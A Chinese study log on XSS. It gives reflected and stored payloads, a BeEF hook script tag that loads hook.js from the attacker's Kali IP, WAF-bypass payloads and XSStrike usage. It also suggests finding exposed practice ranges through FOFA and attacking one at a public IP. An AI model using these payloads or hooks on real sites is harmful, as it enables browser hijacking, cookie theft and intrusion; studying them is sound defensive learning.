20230319网安学习日志——XSS漏洞

概念

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩

写混淆 故将跨站脚本攻击缩写为XSS

恶意攻击者往Web⻚⾯⾥插⼊恶意Script代码,当用户浏览页面十,嵌入的代码会被执行,从而达到恶意攻击的目的。

危害

1、盗取各类⽤户账号,如机器登录帐号、⽤户⽹银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能⼒

3、盗窃企业重要的具有商业价值的资料

4、⾮法转账

5、强制发送电⼦邮件

6、⽹站挂⻢

7、控制受害者机器向其它⽹站发起攻击(重定向语句)

8、窃取cookie的sessionid,冒充登录。

类型

xss攻击可分为三类:

反射型、存储型、dom型(反射型和dom型易混淆)

一、反射型XSS漏洞

(一)简易案例一

复制代码
例:目标
​
<?php 
​
$xss = $_GET['x']; 
​
echo $xss; 
​
?>
复制代码
攻击 <script>alert(1)</script>
​
访问目标:http://localhost/1.php?x=1 
​
注入恶意代码
http://localhost/1.php?x=<script>alert(1)</script> 
​
1.http://localhost/1.php?x=<script>alert('已⼊侵你后端系统')</script> 
​
2.http://localhost/1.php?x=<h1 style='font-size: 10vw;'>你被⼊侵啦,遭到破坏啦,哈哈</script></h1>                                   10vw字体大小是10,可以自由修改

(二)案例二(利用FOFA寻找在线靶场)

1、利用FOFA寻找在线靶场https://fofa.info/

复制代码
搜索语句
​
"pikachu" && country="CN" && title="Get the pikachu"
​
找到靶场例如:
http://58.87.74.254:8080/index.php

2、攻击

方式一:

直接在靶场的输入框输入例句<script>alert('已⼊侵你后端系统')</script>,但是发现限制输入长度不让输入过多的字符,F12进入开发者模式,直接修改输入框的代码改变输入长度。然后再输入攻击代码。

方式二:

直接修改 URL

当我们输入恶意代码提交后可以看到目标URL变成:

http://58.87.74.254:8080/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27%E5%B7%B2%E2%BC%8A%E4%BE%B5%E4%BD%A0%E5%90%8E&submit=submit

可以直接改变URL为:

http://58.87.74.254:8080/vul/xss/xss_reflected_get.php?message=<script>alert('已⼊侵你后端系统')</script>&submit=submit

也可成功

总结

但是不管是这两种哪种方式,在刷新之后目标都会恢复。也就是说明反射型不够强力只在前端表面,只能作为前锋先遣部队使用。

二、存储型XSS漏洞

顾名思义就是攻击数据存储在服务器,保存在数据库中,攻击⼀直持续下去,危害比较大

把攻击语句,填写到编辑框内,insert到数据库中去

三、综合案例

(一)简单案例

配置一个自己的靶场,网上找到资源下载完后,导入到PHPstudy的根目录中。

第一件事就是看看有没有config文件,这里会存储密码,修改为自己PHPstudy的MySQL设置的密码以免出现密码问题

然后再看看有没有.lock的临时文件,清理掉临时文件

访问靶场的install.php进行安装

复制代码
在具体需求⾥⾯输⼊木马
​
<script>alert(1)</script>
​
<script>alert('已⼊侵你后端系统')</script>   网站用""木马就用''
<script>alert("已⼊侵你后端系统")</script>   网站用''木马就用""
​
<h1 style='font-size: 10vw;'>你被⼊侵啦,遭到破坏啦,哈哈</script></h1>  网站用""木马就用'' 
<h1 style="font-size: 10vw;">你被⼊侵啦,遭到破坏啦,哈哈</script></h1>  网站用''木马就用""

(二)Beef劫持网站(beef必学)

Beef-XSS是⼀款功能强⼤的 「XSS漏洞利⽤⼯具」,kali⾃带,基于Ruby语⾔开发。

The Browser Exploitation Framework 的缩写

BeEF xss 除了是 XSS 漏洞利用工具,还是一个 XSS 平台搭建工具,可以本地搭建也可以服务器上搭建,唯一的缺点是:不支持 Windows

常用kali镜像源

复制代码
#阿⾥源 
​
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib 
​
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib 
​
\#中科⼤源 
​
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 
​
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 
​
\#清华⼤学源 
​
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non 
​
-free 
​
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contri 
​
b non-free 
​
\#浙⼤源 
​
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free 
​
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free 
​
\#东软⼤学源 
​
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib 
​
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free cont 
​
rib 
​
\#⽹易 Kali 源 
​
deb http://mirrors.163.com/debian wheezy main non-free contrib 
​
deb-src http://mirrors.163.com/debian wheezy main non-free contrib

安装

需要kali的root权限

方式一:beef-xss

方式二:sudo apt-get install beef-xss

如果不行,就要更新先:sudo apt-get update

在有 Root 权限的情况下 安装的过程中,会有多次提示,都输入 Y 或者 选择 Yes 按钮

安转完成后直接beef-xss启动,首次会要求设置密码。默认账户密码是beef.123456如果密码忘了,可以到 /usr/share/beef-xss/config.yaml

复制代码
[*]  Web UI: http://127.0.0.1:3000/ui/panel【这是beef后台】
​
beef会生成的木马1条
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
【入侵别人网站的监听器,IP需要更换当前的,会留痕】【<IP>替换为kali的IP地址、3000/hook.js不可以改要原封不动】                                  ifconfig查询kali的IP
<script src="http://192.168.159.128:3000/hook.js"></script>【在输入框里就可以了】

四、XSS的绕过WAF

(一)WAF防御(需要掌握)

WAF(Web Application Firewall,Web 应用防火墙)是部署在 Web 应用前端、专门防护应用层(HTTP/HTTPS) 攻击的安全屏障,核心是深度解析并过滤 Web 流量,拦截 SQL 注入、XSS、CC 攻击等常见威胁,弥补传统防火墙对应用层防护的不足。

(二)手工绕过

1、标签语法替换

就是使⽤其他标签来替换,不同WAF过滤的⼿段并不⼀样,需要⾃⼰尝试

(1)audio标签
复制代码
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
(2)video标签
复制代码
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
(3)button标签
复制代码
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>

2、加密算法ASCII

复制代码
// Ascii码绕过
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
仅仅只是理解ASCII码的样⼦: 97,108,101,114,116,40,49,41 = alert(1)

(三)XSStrike工具绕过

可识别并绕过WAF的XSS扫描工具(Windows工具)

Github:https://github.com/s0md3v/XSStrike

下载完了在下载完的文件夹中cmd

复制代码
没有python3的需要的准备⼯作
先在环境变量中,切换到 python3 的优先执⾏权 
python.exe -V 
python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ 
pip install -r 安装包 -i https://mirrors.aliyun.com/pypi/simple/

XSStrike 的参数集

复制代码
-h, --help //显示帮助信息 

-u, --url //指定⽬标 URL 

--data //POST ⽅式提交内容 

-v, --verbose //详细输出 

-f, --file //加载⾃定义 paload 字典 

-t, --threads //定义线程数 

-l, --level //爬⾏深度 

-t, --encode //定义 payload 编码⽅式 

--json //将 POST 数据视为 JSON 

--path //测试 URL 路径组件 

--seeds //从⽂件中测试、抓取 URL 

--fuzzer //测试过滤器和 Web 应⽤程序防⽕墙。 

--update //更新 

--timeout //设置超时时间 

--params //指定参数 

--crawl //爬⾏ 

--proxy //使⽤代理 

--blind //盲测试 

--skip //跳过确认提示 

--skip-dom //跳过 DOM 扫描 

--headers //提供 HTTP 标头 

-d, --delay //设置延迟
复制代码
安装依赖

pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
复制代码
攻击

你当前的路径\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1" 

是正确的HTML页面就可以加载pyload

会生成随机码,之后就可复制随机码到URL进行攻击绕过WAF防御

可以通过修改随机码在不改变其原有功能绕过WAF的情况下达到自己的目的

相关推荐
牛十二2 小时前
智能体框架开发实战
运维·服务器·前端
for_ever_love__2 小时前
Objective-C学习 NSDictionary,NSMutableDictionary 功能详解
开发语言·学习·ios·objective-c
for_ever_love__2 小时前
Objective-C学习 协议和委托
开发语言·学习·ios·objective-c
floret. 小花2 小时前
Vue3 + Electron 知识点总结 · 2026-03-21
前端·面试·electron·学习笔记·vue3
蓝黑20202 小时前
Vue的v-if和v-for放在同一个HTML元素里的坑
前端·javascript·vue.js
转角羊儿2 小时前
精灵图案例
开发语言·前端·javascript
大雷神2 小时前
HarmonyOS APP<玩转React>开源教程十八:课程详情页面
前端·react.js·开源·harmonyos
听风者一号2 小时前
cssMoudle生成器
前端·javascript·json
霍理迪2 小时前
Vue—其他指令及自定义指令
前端·javascript·vue.js